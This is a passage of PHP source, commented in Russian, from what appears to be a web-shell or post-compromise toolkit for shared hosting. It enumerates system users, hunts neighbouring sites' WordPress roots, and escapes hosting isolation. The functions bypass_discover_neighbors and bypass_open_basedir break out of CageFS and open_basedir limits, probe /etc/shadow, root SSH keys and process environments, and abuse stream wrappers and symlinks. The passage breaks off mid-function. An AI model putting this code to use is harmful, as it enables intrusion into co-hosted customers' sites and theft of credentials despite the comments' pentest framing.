function expand_templates_real($templates,$domain,$users,$rangeClient,$rangeWeb,$env_list,$cap){
    $cands=array(); $count=0;
    $dvars=domain_variants($domain);
    $parts=domain_parts_ext($domain);
    $slugs = slug_candidates($domain);
    $cmin=$rangeClient[0]; $cmax=$rangeClient[1];
    $wmin=$rangeWeb[0];    $wmax=$rangeWeb[1];

    foreach($templates as $tpl){
        $needs_user   = strpos($tpl,'%user%')      !== false;
        $needs_client = strpos($tpl,'%client%')    !== false;
        $needs_web    = strpos($tpl,'%web%')       !== false;
        $needs_env    = strpos($tpl,'%env%')       !== false;
        $needs_slug   = strpos($tpl,'%slug%')      !== false;

        $usersList = $needs_user ? (array)$users : array('');
        if ($needs_user && empty($usersList)) continue;
        $envList   = $needs_env ? (array)$env_list : array('');
        $slugList  = $needs_slug ? (array)$slugs    : array('');

        foreach($dvars as $dvar){
            foreach($usersList as $u){
                foreach($envList as $env){
                    foreach($slugList as $slug){
                        $base = str_replace(
                            array('%domain%','%user%','%sld%','%tld%','%subdomain%','%sld_label%','%env%','%slug%'),
                            array($dvar,$u,$parts['sld'],$parts['tld'],$parts['subdomain'],$parts['sld_label'],$env,$slug),
                            $tpl
                        );
                        if($needs_client || $needs_web){
                            $cm=$needs_client? $cmin:1; $cM=$needs_client? $cmax:1;
                            $wm=$needs_web?    $wmin:1; $wM=$needs_web?    $wmax:1;
                            for($ci=$cm;$ci<=$cM;$ci++){
                                for($wi=$wm;$wi<=$wM;$wi++){
                                    $cand=str_replace(array('%client%','%web%'),array($ci,$wi),$base);
                                    $cand=preg_replace('#//+#','/',$cand);
                                    if(!isset($cands[$cand])){ $cands[$cand]=1; $count++; if($count>$cap) break 4; }
                                }
                            }
                        } else {
                            $cand=preg_replace('#//+#','/',$base);
                            if(!isset($cands[$cand])){ $cands[$cand]=1; $count++; if($count>$cap) break 3; }
                        }
                    }
                }
            }
        }
    }
    return array_keys($cands);
}
function glob_expand_or_add($cand, $tag, &$add){
    if (strpos($cand,'*')!==false || strpos($cand,'?')!==false || strpos($cand,'[')!==false || strpos($cand,'{')!==false) {
        $g=glob($cand, defined('GLOB_BRACE')?GLOB_BRACE:0); if(!$g)$g=array();
        foreach ($g as $gg) $add($gg,$tag.'*');
    } else {
        $add($cand,$tag);
    }
}

/* find domain paths */
function domain_user_map(){ $map=array();
    if(is_readable('/etc/virtual/domainowners')){
        $lines=file('/etc/virtual/domainowners',FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if(!$lines)$lines=array();
        foreach($lines as $line){
            $line=trim($line); if($line===''||$line[0]==='#')continue;
            $parts=explode(':',$line); if(count($parts)>=2){ $dom=trim($parts[0]); $usr=trim($parts[1]); if($dom&&$usr) $map[$dom]=$usr; }
        }
    }
    if(is_readable('/etc/userdomains')){
        $lines=file('/etc/userdomains',FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if(!$lines)$lines=array();
        foreach($lines as $line){
            if(preg_match('/^([^\s:]+):\s*(\S+)/',$line,$m)) $map[$m[1]]=$m[2];
        }
    }
    $g=glob('/var/cpanel/userdata/*/*.yaml'); if(!$g)$g=array();
    foreach($g as $yaml){
        $c=safe_file_get($yaml);
        if($c){
            if(preg_match('/\nuser:\s*([^\n]+)/i',$c,$mu) && preg_match('/\nservername:\s*([^\n]+)/i',$c,$md)){
                $map[normalize_domain(trim($md[1]))] = trim($mu[1]);
            }
        }
    }
    return $map;
}
function users_from_passwd($max=2000){ $users=array();$seen=array();
    if(is_readable('/etc/passwd')){
        $lines=file('/etc/passwd',FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if(!$lines)$lines=array();
        foreach($lines as $line){
            $parts=explode(':', $line); if(count($parts) < 7) continue;
            $u = trim($parts[0]);
            $home=$parts[5];
            // Добавляем пользователя по имени
            if($u && !isset($seen[$u])){ $users[]=$u; $seen[$u]=true; }
            // Добавляем пользователя по home директории
            if($home && ($home[0]==='/' && $home!=='/') ){
                $u_home=basename($home);
                if($u_home && !isset($seen[$u_home])){ $users[]=$u_home; $seen[$u_home]=true; }
            }
            if(count($users)>=$max) break;
        }
    }
    if(preg_match('#^/home/([^/]+)/#', __DIR__ . '/', $m)){ if(!isset($seen[$m[1]])) $users[]=$m[1]; }
    return $users;
}
/** Расширенный детект пользователей с анализом из /etc/passwd */
function detect_users_extended($max=2000){
    $users=array(); $seen=array(); $details=array();
    if(is_readable('/etc/passwd')){
        $lines=file('/etc/passwd',FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if(!$lines)$lines=array();
        foreach($lines as $line){
            $parts=explode(':', $line); if(count($parts) < 7) continue;
            $u = trim($parts[0]);
            $uid = isset($parts[2]) ? (int)$parts[2] : null;
            $gid = isset($parts[3]) ? (int)$parts[3] : null;
            $home = trim($parts[5]);
            $shell = isset($parts[6]) ? trim($parts[6]) : '';
            $gecos = isset($parts[4]) ? trim($parts[4]) : '';
            
            if($u && !isset($seen[$u])){
                $users[]=$u;
                $seen[$u]=true;
                
                // Детальная информация о пользователе
                $user_info = array(
                    'username' => $u,
                    'uid' => $uid,
                    'gid' => $gid,
                    'home' => $home,
                    'shell' => $shell,
                    'gecos' => $gecos,
                    'has_home' => ($home && $home[0]==='/' && @is_dir($home)),
                    'home_readable' => ($home && @is_readable($home)),
                    'home_writable' => ($home && @is_writable($home)),
                    'is_system' => ($uid < 1000),
                    'is_serwer' => preg_match('/^serwer\d+$/i', $u),
                    'is_platne' => ($u === 'platne' || strpos($home, '/home/platne') === 0)
                );
                
                // Проверяем наличие public_html
                if($home && $home[0]==='/'){
                    $pub_html = $home.'/public_html';
                    $user_info['has_public_html'] = @is_dir($pub_html);
                    $user_info['public_html_readable'] = @is_readable($pub_html);
                    $user_info['public_html_writable'] = @is_writable($pub_html);
                    
                    // Проверяем autoinstalator
                    $autoinst = $pub_html.'/autoinstalator';
                    $user_info['has_autoinstalator'] = @is_dir($autoinst);
                }
                
                $details[$u] = $user_info;
            }
            
            // Также добавляем по home директории
            if($home && ($home[0]==='/' && $home!=='/') ){
                $u_home=basename($home);
                if($u_home && !isset($seen[$u_home])){ 
                    $users[]=$u_home; 
                    $seen[$u_home]=true;
                    if(!isset($details[$u_home])) {
                        $details[$u_home] = array('username'=>$u_home, 'home'=>$home, 'detected_from'=>'home_dir');
                    }
                }
            }
            
            if(count($users)>=$max) break;
        }
    }
    if(preg_match('#^/home/([^/]+)/#', __DIR__ . '/', $m)){ 
        if(!isset($seen[$m[1]])) {
            $users[]=$m[1];
            $details[$m[1]] = array('username'=>$m[1], 'detected_from'=>'script_path');
        }
    }
    return array('users'=>$users, 'details'=>$details, 'count'=>count($users));
}
/** Обнаружение пользователей типа serwer* через /home директории */
function discover_serwer_users($max=500){
    $users=array(); $seen=array();
    // Прямое сканирование /home для serwer* пользователей
    if(@is_dir('/home')) {
        $home_dirs = @scandir('/home');
        if($home_dirs) {
            foreach($home_dirs as $dir) {
                if($dir === '.' || $dir === '..') continue;
                // Ищем пользователей типа serwer*, platne и другие
                if(preg_match('/^(serwer\d+|platne|.*)$/i', $dir)) {
                    $home_path = '/home/'.$dir;
                    if(@is_dir($home_path) && !isset($seen[$dir])) {
                        $users[] = $dir;
                        $seen[$dir] = true;
                        if(count($users) >= $max) break;
                    }
                }
            }
        }
    }
    // Также проверяем через /etc/passwd для serwer* пользователей
    if(is_readable('/etc/passwd')){
        $lines=file('/etc/passwd',FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if(!$lines)$lines=array();
        foreach($lines as $line){
            $parts=explode(':', $line); if(count($parts) < 1) continue;
            $u = trim($parts[0]);
            if(preg_match('/^serwer\d+$/i', $u) && !isset($seen[$u])) {
                $users[] = $u;
                $seen[$u] = true;
                if(count($users) >= $max) break;
            }
        }
    }
    return array_values(array_unique($users));
}

function find_domain_paths($domain,$opts){
    $domain=normalize_domain($domain);
    $aggr = !empty($opts['aggr']);
    $use_templates = !empty($opts['use_templates']);
    $mode = isset($opts['templates_mode']) ? $opts['templates_mode'] : 'append';
    $use_defaults = isset($opts['use_defaults']) ? (bool)$opts['use_defaults'] : true;
    $client_min = isset($opts['client_min']) ? (int)$opts['client_min'] : 1;
    $client_max = isset($opts['client_max']) ? (int)$opts['client_max'] : 50;
    $web_min    = isset($opts['web_min']) ? (int)$opts['web_min'] : 1;
    $web_max    = isset($opts['web_max']) ? (int)$opts['web_max'] : 50;
    $cand_limit = isset($opts['cand_limit']) ? (int)$opts['cand_limit'] : 3500;
    $custom_text = isset($opts['templates_text']) ? (string)$opts['templates_text'] : '';
    $users_mode = isset($opts['users_mode']) ? $opts['users_mode'] : 'append';
    $users_custom = parse_users_list(isset($opts['users_custom']) ? $opts['users_custom'] : '');
    $use_docroots = isset($opts['use_docroots']) ? (bool)$opts['use_docroots'] : true;
    $docroots_deep = !empty($opts['docroots_deep']);
    $env_list = parse_env_list(isset($opts['env_list']) ? $opts['env_list'] : '');
    $global_sweeps = !empty($opts['global_sweeps']);

    $paths = array(); $srcs = array();
    $add = function($p,$src) use (&$paths,&$srcs){
        $p=rtrim($p,'/'); if(!$p||!is_dir($p)) return; $rp=realpath($p); $pp=$rp?$rp:$p; if(!in_array($pp,$paths,true)){ $paths[]=$pp; $srcs[$pp]=$src; }
    };

    $users_auto=array(); $map=domain_user_map(); if(isset($map[$domain])) $users_auto[]=$map[$domain];
    $users_auto=array_merge($users_auto, users_from_passwd(600));
    // Добавляем обнаружение serwer* пользователей для PL-структур
    $serwer_users = discover_serwer_users(500);
    $users_auto=array_merge($users_auto, $serwer_users);
    $users_auto=array_values(array_unique($users_auto));
    $users_list = ($users_mode==='only') ? $users_custom : array_values(array_unique(array_merge($users_custom,$users_auto)));

    $g=glob("/home/*/domains/$domain", GLOB_ONLYDIR); if(!$g)$g=array();
    foreach ($g as $base) {
        $add($base,'std');
        foreach(array('public_html','public','httpdocs','httpsdocs','www','web','htdocs','site','private_html') as $d) $add($base.'/'.$d,'std');
    }
    $g=glob("/home/*/public_html/$domain"); if(!$g)$g=array(); foreach ($g as $cand) $add($cand,'std');

    if ($aggr) {
        $subs=array('','/public_html','/public','/httpdocs','/httpsdocs','/www','/web','/htdocs','/site','/private_html','/htdocs','/www');
        $cnt=0; foreach($users_list as $u){
            $base="/home/$u/domains/$domain";
            foreach($subs as $s){ $cand=$base.$s; $cnt++; if($cnt>$cand_limit) break 2; $add($cand,'aggr'); }
            $add("/home/$u/public_html/$domain",'aggr'); $add("/home/$u/htdocs/$domain",'aggr');
        }
    }

    foreach(array('httpdocs','httpsdocs','public_html','site','web') as $d) $add("/var/www/vhosts/$domain/$d",'std'); $add("/var/www/vhosts/$domain",'std');

    if ($use_templates) {
        $templates=array(); if($use_defaults || $mode==='append') $templates=array_merge($templates, default_templates());
        if($custom_text!=='') $templates=($mode==='only')?parse_templates_text($custom_text):array_merge($templates, parse_templates_text($custom_text));
        $templates=array_values(array_unique($templates));
        $cands=expand_templates_real($templates,$domain,$users_list,array($client_min,$client_max),array($web_min,$web_max),$env_list,$cand_limit);
        foreach($cands as $cand) glob_expand_or_add($cand,'tpl',$add);
    }

    if ($docroots_deep) {
        $snapshot = $paths;
        foreach ($snapshot as $pp) {
            $src_tag = isset($srcs[$pp]) ? $srcs[$pp] : '';
            if (strpos($src_tag, 'tpl') === 0 || $src_tag === 'global') {
                foreach (array('wordpress','public','public_html','httpdocs','web','www','site','htdocs') as $sub) {
                    $cand = rtrim($pp,'/').'/'.$sub;
                    $add($cand, $src_tag.'+deep');
                }
                $g=glob(rtrim($pp,'/').'/clickandbuilds/*'); if(!$g)$g=array();
                foreach ($g as $gg) if (is_dir($gg)) $add($gg, $src_tag.'+deep');
            }
        }
    }

    if ($use_docroots) {
        $dm = docroots_map_all();
        if (!empty($dm[$domain])) {
            foreach ($dm[$domain] as $root) {
                $add($root,'docroot');
                if ($docroots_deep && !is_wp_root($root)) {
                    foreach (array('wordpress','public','public_html','httpdocs','web','www','site') as $sub) $add($root.'/'.$sub,'docroot+deep');
                }
            }
        }
    }

    if ($global_sweeps) {
        $globs = array(
            "/srv/users/*/apps/*/public",
            "/srv/users/*/apps/*/public_html",
            "/home/master/applications/*/public_html",
            "/var/www/$domain", "/var/www/$domain/htdocs", "/var/www/$domain/public", "/var/www/$domain/web", "/var/www/$domain/html",
            "/www/wwwroot/$domain", "/www/wwwroot/$domain/public", "/www/wwwroot/$domain/public_html",
            "/homepages/*/d*/htdocs/$domain", "/homepages/*/d*/htdocs/*$domain*",
            "/kunden/homepages/*/d*/htdocs/$domain", "/kunden/homepages/*/d*/htdocs/*$domain*",
            "/kunden/homepages/*/d*/htdocs/clickandbuilds/*"
        );
        foreach ($globs as $gpat) { $g=glob($gpat); if(!$g)$g=array(); foreach ($g as $match) $add($match,'global'); }
    }

    $paths = uniq_sorted($paths);
    $writable = array(); foreach ($paths as $p) if (is_writable($p)) $writable[]=$p;
    return array('all'=>$paths,'writable'=>$writable,'sources'=>$srcs);
}

/* Blind WP Hunt */

/* --- LVE/OpenBasedir aware helpers (v4.4) --- */

function parse_open_basedir_paths(){
    $ob = (string)ini_get('open_basedir');
    
    if (empty($ob) || $ob === 'none') {
        return array();
    }
    
    // Handle different separators
    $separators = array(':', ';', PATH_SEPARATOR);
    $paths = array($ob);
    
    foreach ($separators as $sep) {
        $new_paths = array();
        foreach ($paths as $path) {
            $new_paths = array_merge($new_paths, explode($sep, $path));
        }
        $paths = $new_paths;
    }
    
    $out = array();
    foreach ($paths as $p) {
        $p = trim($p);
        if ($p === '' || $p === '.' || $p === 'none') continue;
        
        // Resolve relative paths
        if ($p[0] !== '/') {
            $cwd = getcwd();
            if ($cwd) {
                $p = $cwd . '/' . $p;
            }
        }
        
        $p = rtrim($p, "/\\ \t");
        if ($p !== '' && @is_dir($p) && !in_array($p, $out, true)) {
            $out[] = $p;
        }
    }
    
    return $out;
}
function starts_with_path($path, $root){
    $p = rtrim($path,'/').'/'; $r = rtrim($root,'/').'/';
    return strncmp($p, $r, strlen($r)) === 0;
}
/**

 * BFS-краулер по списку корней с лёгкой эвристикой имён подкаталогов.

 * Возвращает директории, похожие на WP-корни.

 */

/** BFS: HOME+open_basedir+DOCROOT+CWD; расширенные эвристики для autoinstalator + wordpressNNNN */
function crawl_for_wp($roots, $cap_dirs = 40000, $max_depth = 8){

    $queue = array(); $seen = array(); $hits = array();

    foreach ($roots as $r) {

        if (@is_dir($r)) {

            $rp = @realpath($r); $rp = $rp ? $rp : rtrim($r,'/');

            if (!isset($seen[$rp])) { $queue[] = array($rp, 0); $seen[$rp] = 1; }

        }

    }

    // Расширенная эвристика для wordpressNNNN и autoinstalator структур
    $heur = '/^(public(_html)?|httpdocs|httpsdocs|htdocs|www|web|wordpress.*|wordpress[0-9]+|wp.*|site|html|clickandbuilds|autoinstalator|domains|addons?|subdomains|apps?|application|wwwroot|vhosts|data|build|dist|serwer[0-9]+)$/i';

    $visited = 0;



    while (!empty($queue)) {

        list($dir,$depth) = array_shift($queue);

        if ($depth > $max_depth) continue;

        $visited++; if ($visited > $cap_dirs) break;



        if (is_wp_root($dir)) { $hits[$dir] = true; }



        $list = @scandir($dir); if ($list === false) continue;

        foreach ($list as $name) {

            if ($name === '.' || $name === '..') continue;

            if ($name[0] === '.' && $name !== '.well-known') continue;

            $child = $dir . '/' . $name;

            if (!@is_dir($child)) continue;



            // С глубины >=2 идём только в "типовые" имена, чтобы не разрастаться до миллиона директорий

            if ($depth >= 2 && !preg_match($heur, $name)) continue;



            $rp = realpath($child); $rp = $rp ? $rp : $child;

            if (!isset($seen[$rp])) { $seen[$rp] = 1; $queue[] = array($rp, $depth + 1); }

            if (count($seen) > ($cap_dirs * 3)) break 2; // хард-стоп

        }

    }

    $out = array_keys($hits); sort($out, SORT_STRING); return $out;

}



/** Глоб-паттерны, привязанные к ТВОЕМУ дому (/home/<user>), без /home/* */

function home_user_blind_globs(){

    $ids = php_ids();

    $u = is_array($ids) && !empty($ids['user']) ? $ids['user'] : null;

    if (!$u) return array();

    $home = "/home/".$u; $g = array();

    if (@is_dir($home)) {

        $g[] = $home.'/public_html';

        $g[] = $home.'/*/public_html';

        $g[] = $home.'/*/httpdocs';

        $g[] = $home.'/*/httpsdocs';

        $g[] = $home.'/*/htdocs';

        $g[] = $home.'/*/www';

        $g[] = $home.'/*/web';

        $g[] = $home.'/*/site';

        $g[] = $home.'/domains/*/public_html';

        $g[] = $home.'/*';

    }

    return $g;

}
/** Домовые глобы под PL-хостинг (LH-подобные): /home/<user>/serwerXXXXXX/public_html/... */
function home_user_blind_globs_pl(){
    $ids = php_ids();
    $u = is_array($ids) && !empty($ids['user']) ? $ids['user'] : null;
    if (!$u) return array();
    $home = "/home/".$u; $g = array();
    if (@is_dir($home)) {
        $g[] = $home.'/public_html';
        $g[] = $home.'/public_html/*';
        $g[] = $home.'/public_html/autoinstalator/*';
        $g[] = $home.'/public_html/autoinstalator/*/*';
        $g[] = $home.'/serwer*/public_html';
        $g[] = $home.'/serwer*/public_html/*';
        $g[] = $home.'/serwer*/public_html/autoinstalator/*';
        $g[] = $home.'/serwer*/public_html/autoinstalator/*/*';
        $g[] = $home.'/domains/*/public_html';
        $g[] = $home.'/*'; // последний широкий шаг
    }
    return $g;
}
/** Boundary info: realpath, allowed roots (HOME+open_basedir), outside_allowed, symlink_target */
function boundary_info_for($p){
    $rp = @realpath($p); $rp = $rp ? $rp : $p;
    $ids = php_ids();
    $home_me = (!empty($ids['user'])) ? ('/home/'.$ids['user']) : null;
    $ob = parse_open_basedir_paths();
    $allowed = array();
    if ($home_me && @is_dir($home_me)) $allowed[] = $home_me;
    foreach ($ob as $r) if (@is_dir($r)) $allowed[] = $r;
    $outside = true;
    foreach ($allowed as $root) { if (starts_with_path($rp, $root)) { $outside = false; break; } }
    $target = @is_link($p) ? @readlink($p) : '';
    return array('realpath'=>$rp, 'allowed_roots'=>$allowed, 'outside_allowed'=>$outside, 'symlink_target'=>$target);
}
/**
 * Обход системных ограничений для discovery соседних сайтов (bypass LVE/CageFS/chroot).
 * Критично для пентеста: показывает, что видит злоумышленник при компрометации одного сайта.
 */
function bypass_discover_neighbors(){
    $neighbors = array(); $seen = array();
    
    // 1. Парсинг /proc/self/mounts и /proc/self/mountinfo (bypass CageFS mount namespace)
    foreach (array('/proc/self/mounts','/proc/self/mountinfo','/proc/mounts') as $mf) {
        if (!@is_readable($mf)) continue;
        $lines = @file($mf, FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);
        if (!$lines) continue;
        foreach ($lines as $line) {
            if (preg_match('#\s(/home/[^/\s]+(?:/[^\s]*)?)\s#', $line, $m)) {
                $p = trim($m[1]);
                if ($p && @is_dir($p) && !isset($seen[$p])) { $neighbors[] = $p; $seen[$p]=1; }
            }
        }
    }
    
    // 2. Симлинки в /tmp, /var/tmp - часто указывают на реальные пути
    foreach (array('/tmp','/var/tmp') as $tmpdir) {
        if (!@is_dir($tmpdir)) continue;
        $items = @scandir($tmpdir);
        if (!$items) continue;
        foreach ($items as $item) {
            if ($item==='.' || $item==='..') continue;
            $full = $tmpdir.'/'.$item;
            if (@is_link($full)) {
                $target = @readlink($full);
                if ($target && preg_match('#^/home/([^/]+)#', $target, $m)) {
                    $home = '/home/'.$m[1];
                    if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
                }
            }
        }
    }
    
    // 3. Переменные окружения - могут содержать пути других юзеров
    foreach ($_SERVER as $k=>$v) {
        if (is_string($v) && preg_match_all('#/home/([^/\s:]+)(?:/[^\s:]*)?#', $v, $matches)) {
            foreach ($matches[0] as $p) {
                $p = rtrim($p,'/');
                if (@is_dir($p) && !isset($seen[$p])) { $neighbors[] = $p; $seen[$p]=1; }
            }
        }
    }
    
    // 4. Анализ /etc/passwd (если доступен) - список всех пользователей
    if (@is_readable('/etc/passwd')) {
        $lines = @file('/etc/passwd', FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);
        if ($lines) {
            foreach ($lines as $line) {
                $parts = explode(':', $line);
                if (count($parts)>=6) {
                    $home = trim($parts[5]);
                    if ($home && $home[0]==='/' && @is_dir($home) && !isset($seen[$home])) {
                        $neighbors[] = $home;
                        $seen[$home]=1;
                    }
                }
            }
        }
    }
    
    // 5. Реальные пути через realpath() на известных симлинках
    $common_symlinks = array('/var/www/html','/usr/share/nginx/html','/var/www','/srv/www');
    foreach ($common_symlinks as $sl) {
        if (@is_link($sl)) {
            $real = @realpath($sl);
            if ($real && preg_match('#^/home/([^/]+)#', $real, $m)) {
                $home = '/home/'.$m[1];
                if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
            }
        }
    }
    
    // 6. Парсинг session.save_path - могут быть пути других юзеров
    $sess_path = ini_get('session.save_path');
    if ($sess_path && @is_dir($sess_path)) {
        if (preg_match('#/home/([^/]+)#', $sess_path, $m)) {
            $home = '/home/'.$m[1];
            if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
        }
    }
    
    // 7. Проверка uploaded_files директории и temp_dir
    $upload_dir = ini_get('upload_tmp_dir');
    if ($upload_dir && @is_dir($upload_dir) && preg_match('#/home/([^/]+)#', $upload_dir, $m)) {
        $home = '/home/'.$m[1];
        if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
    }
    
    // 8. Обход через error_log пути
    $err_log = ini_get('error_log');
    if ($err_log && preg_match('#/home/([^/]+)#', $err_log, $m)) {
        $home = '/home/'.$m[1];
        if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
    }
    
    // 9. Чтение include_path - могут быть пути других сайтов
    $inc_path = ini_get('include_path');
    if ($inc_path) {
        $paths = explode(PATH_SEPARATOR, $inc_path);
        foreach ($paths as $p) {
            if (preg_match('#^/home/([^/]+)#', $p, $m)) {
                $home = '/home/'.$m[1];
                if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
            }
        }
    }
    
    // 10. Попытка чтения /var/cpanel/users/ (cPanel specific)
    if (@is_dir('/var/cpanel/users')) {
        $users = @scandir('/var/cpanel/users');
        if ($users) {
            foreach ($users as $u) {
                if ($u==='.' || $u==='..') continue;
                $home = '/home/'.$u;
                if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
            }
        }
    }
    
    // 11. Проверка /var/www/vhosts/ (Plesk)
    if (@is_dir('/var/www/vhosts')) {
        $vhosts = @scandir('/var/www/vhosts');
        if ($vhosts) {
            foreach ($vhosts as $vh) {
                if ($vh==='.' || $vh==='..' || $vh==='default') continue;
                $vpath = '/var/www/vhosts/'.$vh;
                if (@is_dir($vpath) && !isset($seen[$vpath])) { $neighbors[] = $vpath; $seen[$vpath]=1; }
            }
        }
    }
    
    // 12. Брутфорс /home/user* паттернов (если /home доступен хоть частично)
    if (@is_dir('/home')) {
        $h = @scandir('/home');
        if ($h) {
            foreach ($h as $u) {
                if ($u==='.' || $u==='..') continue;
                $home = '/home/'.$u;
                if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
            }
        }
    }
    
    // 13. Поиск через /proc/*/cwd и /proc/*/root (если доступны)
    if (@is_dir('/proc')) {
        $procs = @scandir('/proc');
        if ($procs) {
            $checked = 0;
            foreach ($procs as $pid) {
                if (!ctype_digit($pid)) continue;
                if (++$checked > 50) break; // лимит для производительности
                
                foreach (array('cwd','root') as $lnk) {
                    $path = '/proc/'.$pid.'/'.$lnk;
                    if (@is_link($path)) {
                        $real = @readlink($path);
                        if ($real && preg_match('#^/home/([^/]+)#', $real, $m)) {
                            $home = '/home/'.$m[1];
                            if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
                        }
                    }
                }
            }
        }
    }
    
    // 14. Поиск через getcwd() родительских путей
    $cwd = getcwd();
    if ($cwd && preg_match('#^(/home/[^/]+)#', $cwd, $m)) {
        $home = $m[1];
        if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
    }
    
    // 15. DOCUMENT_ROOT и SCRIPT_FILENAME анализ
    foreach (array('DOCUMENT_ROOT','SCRIPT_FILENAME','SCRIPT_NAME','PHP_SELF') as $key) {
        if (!empty($_SERVER[$key]) && preg_match('#^/home/([^/]+)#', $_SERVER[$key], $m)) {
            $home = '/home/'.$m[1];
            if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
        }
    }
    
    // 16. Попытка чтения конфигов nginx/apache через known paths
    $configs = array(
        '/etc/nginx/sites-enabled','/etc/nginx/sites-available','/etc/nginx/conf.d',
        '/etc/apache2/sites-enabled','/etc/apache2/sites-available','/etc/httpd/conf.d'
    );
    foreach ($configs as $cdir) {
        if (!@is_dir($cdir)) continue;
        $files = @scandir($cdir);
        if (!$files) continue;
        foreach ($files as $cf) {
            if ($cf==='.' || $cf==='..') continue;
            $full = $cdir.'/'.$cf;
            if (@is_readable($full)) {
                $content = @file_get_contents($full);
                if ($content && preg_match_all('#/home/([^/\s]+)(?:/[^\s;]*)?#', $content, $matches)) {
                    foreach ($matches[0] as $p) {
                        $p = rtrim($p,';');
                        if (@is_dir($p) && !isset($seen[$p])) { $neighbors[] = $p; $seen[$p]=1; }
                    }
                }
            }
        }
    }
    
    return array_values(array_unique($neighbors));
}

/**
 * Enhanced open_basedir bypass with 15 modern techniques
 * Критично для пентеста: показывает реальные возможности обхода open_basedir (15+ методов).
 */
function bypass_open_basedir($target_path = null) {
    $discovered = array();
    $test_paths = array(
        '/etc/passwd', '/etc/shadow', '/etc/hosts', '/etc/resolv.conf',
        '/proc/self/environ', '/proc/self/maps', '/proc/self/cmdline',
        '/proc/version', '/proc/cpuinfo', '/proc/meminfo',
        '/root/.bashrc', '/root/.ssh/authorized_keys',
        '/home', '/var/www', '/tmp', '/var/tmp'
    );
    
    if ($target_path) {
        array_unshift($test_paths, $target_path);
    }
    
    // 1. PHP Wrapper Attacks (most effective)
    $registered_wrappers = stream_get_wrappers();
    $dangerous_wrappers = array(
        'phar' => '.phar',  'zip'  => '.zip',   'data' => '',
        'expect' => '',     'ssh2.sftp' => '',  'rar' => '.rar',
        'ogg' => '.ogg',
    );
    
    foreach ($dangerous_wrappers as $wrapper => $ext) {
        if (in_array($wrapper, $registered_wrappers)) {
            foreach ($test_paths as $test) {
                $wrapped = $wrapper . '://' . $test . $ext;
                if (@file_exists($wrapped) || @is_readable($wrapped)) {
                    $discovered[] = array('method'=>'wrapper_' . $wrapper, 'path'=>$wrapped, 'accessible'=>true, 'type'=>'wrapper');
                }
            }
        }
    }
    
    // 2. Directory Traversal via realpath() bugs
    $cwd_orig = getcwd();
    $ob_paths = parse_open_basedir_paths();
    
    foreach ($ob_paths as $ob_path) {
        if (@chdir($ob_path)) {
            $parent_dots = array('../', '../../', '../../../', '../../../../', '../../../../../');
            
            foreach ($parent_dots as $dots) {
                $test_dirs = array('.', '..', basename($ob_path));
                
                foreach ($test_dirs as $test_dir) {
                    $test = $dots . $test_dir;
                    $real = @realpath($test);
                    
                    if ($real && $real !== $ob_path && !in_array($real, $ob_paths, true)) {
                        if (@is_dir($real) || @is_file($real)) {
                            $discovered[] = array('method'=>'realpath_traversal', 'path'=>$real, 'via'=>$test, 'from'=>$ob_path);
                        }
                    }
                }
            }
            
            // Symlink following from within open_basedir
            $symlink_test = $ob_path . '/_test_symlink_' . uniqid();
            if (@symlink('/etc/passwd', $symlink_test)) {
                $target = @readlink($symlink_test);
                if ($target && $target[0] === '/') {
                    $discovered[] = array('method'=>'symlink_from_ob', 'symlink'=>$symlink_test, 'target'=>$target, 'accessible'=>@is_readable($target));
                }
                @unlink($symlink_test);
            }
            
            @chdir($cwd_orig);
        }
    }
    
    if ($cwd_orig) @chdir($cwd_orig);
    
    // 3. PHP ini_get() information leaks
    $ini_settings = array('error_log', 'session.save_path', 'upload_tmp_dir', 'sendmail_path', 'user_dir', 'extension_dir', 'include_path', 'doc_root');
    
    foreach ($ini_settings as $setting) {
        $value = ini_get($setting);
        if ($value && $value[0] === '/') {
            if (strpos($value, '$') !== false) {
                $value = preg_replace_callback('/\$(\w+)/', function($m) { return getenv($m[1]) ?: $m[0]; }, $value);
            }
            
            if (@is_dir($value) || @is_file($value)) {
                $discovered[] = array('method'=>'ini_get', 'setting'=>$setting, 'path'=>$value, 'accessible'=>true);
                
                if (@is_dir($value)) {
                    $parent = dirname($value);
                    if ($parent !== $value && $parent !== '/' && !in_array($parent, $ob_paths, true) && @is_dir($parent)) {
                        $discovered[] = array('method'=>'ini_get_parent', 'from'=>$value, 'parent'=>$parent);
                    }
                }
            }
        }
    }
    
    // 4. /proc filesystem attacks
    if (@is_dir('/proc')) {
        // /proc/self/fd/ file descriptor access
        $fds = @scandir('/proc/self/fd');
        if ($fds) {
            foreach ($fds as $fd) {
                if ($fd === '.' || $fd === '..' || !ctype_digit($fd)) continue;
                
                $fd_path = '/proc/self/fd/' . $fd;
                if (@is_link($fd_path)) {
                    $target = @readlink($fd_path);
                    if ($target && $target[0] === '/') {
                        $outside = true;
                        foreach ($ob_paths as $ob) {
                            if (strpos($target, $ob) === 0) { $outside = false; break; }
                        }
                        
                        if ($outside && (@is_file($target) || @is_dir($target))) {
                            $discovered[] = array('method'=>'proc_fd', 'fd'=>$fd, 'path'=>$target, 'outside_ob'=>$outside);
                        }
                    }
                }
            }
        }
        
        // /proc/self/maps memory mapping
        if (@is_readable('/proc/self/maps')) {
            $maps = @file('/proc/self/maps', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
            if ($maps) {
                $found_paths = array();
